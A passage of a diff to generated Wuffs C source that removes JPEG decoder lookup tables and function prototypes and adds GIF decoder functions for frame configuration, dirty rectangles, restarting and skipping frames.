255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 1, 2, 3, 4, 5, 6, 7, +- 8, 9, 10, 11, 12, 13, 14, 15, +- 16, 17, 18, 19, 20, 21, 22, 23, +- 24, 25, 26, 27, 28, 29, 30, 31, +- 32, 33, 34, 35, 36, 37, 38, 39, +- 40, 41, 42, 43, 44, 45, 46, 47, +- 48, 49, 50, 51, 52, 53, 54, 55, +- 56, 57, 58, 59, 60, 61, 62, 63, +- 64, 65, 66, 67, 68, 69, 70, 71, +- 72, 73, 74, 75, 76, 77, 78, 79, +- 80, 81, 82, 83, 84, 85, 86, 87, +- 88, 89, 90, 91, 92, 93, 94, 95, +- 96, 97, 98, 99, 100, 101, 102, 103, +- 104, 105, 106, 107, 108, 109, 110, 111, +- 112, 113, 114, 115, 116, 117, 118, 119, +- 120, 121, 122, 123, 124, 125, 126, 127, +-}; ++ return self->private_impl.f_num_decoded_frame_configs_value; ++} + +-static const uint16_t +-WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 65535, 65533, 65529, 65521, 65505, 65473, 65409, +- 65281, 65025, 64513, 63489, 61441, 57345, 49153, 32769, +-}; ++// -------- func gif.decoder.num_decoded_frames + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 1, 5, 1, 1, 1, 1, +- 1, 1, 0, 0, 0, 0, 0, 0, +- 0, 0, 1, 2, 3, 4, 5, 6, +- 7, 8, 9, 10, 11, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__num_decoded_frames( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 0, 3, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 0, 0, 0, 0, +- 0, 0, 1, 2, 3, 4, 5, 6, +- 7, 8, 9, 10, 11, +-}; ++ return self->private_impl.f_num_decoded_frames_value; ++} + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 16, 0, 2, 1, 3, 3, 2, 4, +- 3, 5, 5, 4, 4, 0, 0, 1, +- 125, 1, 2, 3, 0, 4, 17, 5, +- 18, 33, 49, 65, 6, 19, 81, 97, +- 7, 34, 113, 20, 50, 129, 145, 161, +- 8, 35, 66, 177, 193, 21, 82, 209, +- 240, 36, 51, 98, 114, 130, 9, 10, +- 22, 23, 24, 25, 26, 37, 38, 39, +- 40, 41, 42, 52, 53, 54, 55, 56, +- 57, 58, 67, 68, 69, 70, 71, 72, +- 73, 74, 83, 84, 85, 86, 87, 88, +- 89, 90, 99, 100, 101, 102, 103, 104, +- 105, 106, 115, 116, 117, 118, 119, 120, +- 121, 122, 131, 132, 133, 134, 135, 136, +- 137, 138, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 162, 163, 164, 165, 166, +- 167, 168, 169, 170, 178, 179, 180, 181, +- 182, 183, 184, 185, 186, 194, 195, 196, +- 197, 198, 199, 200, 201, 202, 210, 211, +- 212, 213, 214, 215, 216, 217, 218, 225, +- 226, 227, 228, 229, 230, 231, 232, 233, +- 234, 241, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, +-}; ++// -------- func gif.decoder.frame_dirty_rect + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 17, 0, 2, 1, 2, 4, 4, 3, +- 4, 7, 5, 4, 4, 0, 1, 2, +- 119, 0, 1, 2, 3, 17, 4, 5, +- 33, 49, 6, 18, 65, 81, 7, 97, +- 113, 19, 34, 50, 129, 8, 20, 66, +- 145, 161, 177, 193, 9, 35, 51, 82, +- 240, 21, 98, 114, 209, 10, 22, 36, +- 52, 225, 37, 241, 23, 24, 25, 26, +- 38, 39, 40, 41, 42, 53, 54, 55, +- 56, 57, 58, 67, 68, 69, 70, 71, +- 72, 73, 74, 83, 84, 85, 86, 87, +- 88, 89, 90, 99, 100, 101, 102, 103, +- 104, 105, 106, 115, 116, 117, 118, 119, +- 120, 121, 122, 130, 131, 132, 133, 134, +- 135, 136, 137, 138, 146, 147, 148, 149, +- 150, 151, 152, 153, 154, 162, 163, 164, +- 165, 166, 167, 168, 169, 170, 178, 179, +- 180, 181, 182, 183, 184, 185, 186, 194, +- 195, 196, 197, 198, 199, 200, 201, 202, +- 210, 211, 212, 213, 214, 215, 216, 217, +- 218, 226, 227, 228, 229, 230, 231, 232, +- 233, 234, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_gif__decoder__frame_dirty_rect( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-// ---------------- Private Initializer Prototypes ++ return wuffs_base__utility__make_rect_ie_u32( ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); ++} + +-// ---------------- Private Function Prototypes ++// -------- func gif.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_gif__decoder__workbuf_len( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct_x86_avx2( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++// -------- func gif.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__restart_frame( ++ wuffs_gif__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dqt( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if (a_io_position == 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_num_decoded_frame_configs_value = a_index; ++ self->private_impl.f_num_decoded_frames_value = a_index; ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dri( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func gif.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_appn( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- uint8_t a_marker); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_sof( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__quantize_dimension( +- const wuffs_jpeg__decoder* self, +- uint32_t a_width, +- uint8_t a_h, +- uint8_t a_max_incl_h); ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dht( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_huff_tables( +- wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th, +- uint32_t a_total_count); ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_sos( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func gif.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__prepare_scan( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_gif__decoder__do_decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__use_default_huffman_table( +- wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__calculate_single_component_scan_fields( +- wuffs_jpeg__decoder* self); ++ uint32_t v_background_color = 0; ++ uint8_t v_flags = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( +- wuffs_jpeg__decoder* self); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__fill_bitstream( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ if (coro_susp_point) { ++ v_background_color = self->private_data.s_do_decode_frame_config.v_background_color; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ self->private_impl.f_dirty_max_excl_y = 0u; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__skip_frame(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ } ++ v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ if ( ! self->private_impl.f_gc_has_transparent_index) { ++ v_background_color = self->private_impl.f_background_color_u32_argb_premul; ++ if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ } ++ } ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), ++ ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), ++ self->private_impl.f_num_decoded_frame_configs_value, ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_gc_disposal, ++ ! self->private_impl.f_gc_has_transparent_index, ++ false, ++ v_background_color); ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); ++ self->private_impl.f_call_sequence = 64u; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf); ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame_config.v_background_color = v_background_color; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__save_mcu_blocks( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__skip_past_the_next_restart_marker( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return status; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__apply_progressive_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func gif.decoder.skip_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__swizzle_gray( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++wuffs_gif__decoder__skip_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__swizzle_colorful( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++ uint8_t v_flags = 0; ++ uint8_t v_lw = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__top_left_quants_has_zero( +- const wuffs_jpeg__decoder* self, +- uint32_t a_q); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ uint32_t coro_susp_point = self->private_impl.p_skip_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; ++ } ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ self->private_data.s_skip_frame.scratch = (((uint32_t)(3u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_lw = t_1; ++ } ++ if (v_lw > 8u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_quirks[0u]) { ++ self->private_impl.f_delayed_num_decoded_frames = true; ++ } else { ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 32u; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu__choosy_default( +- 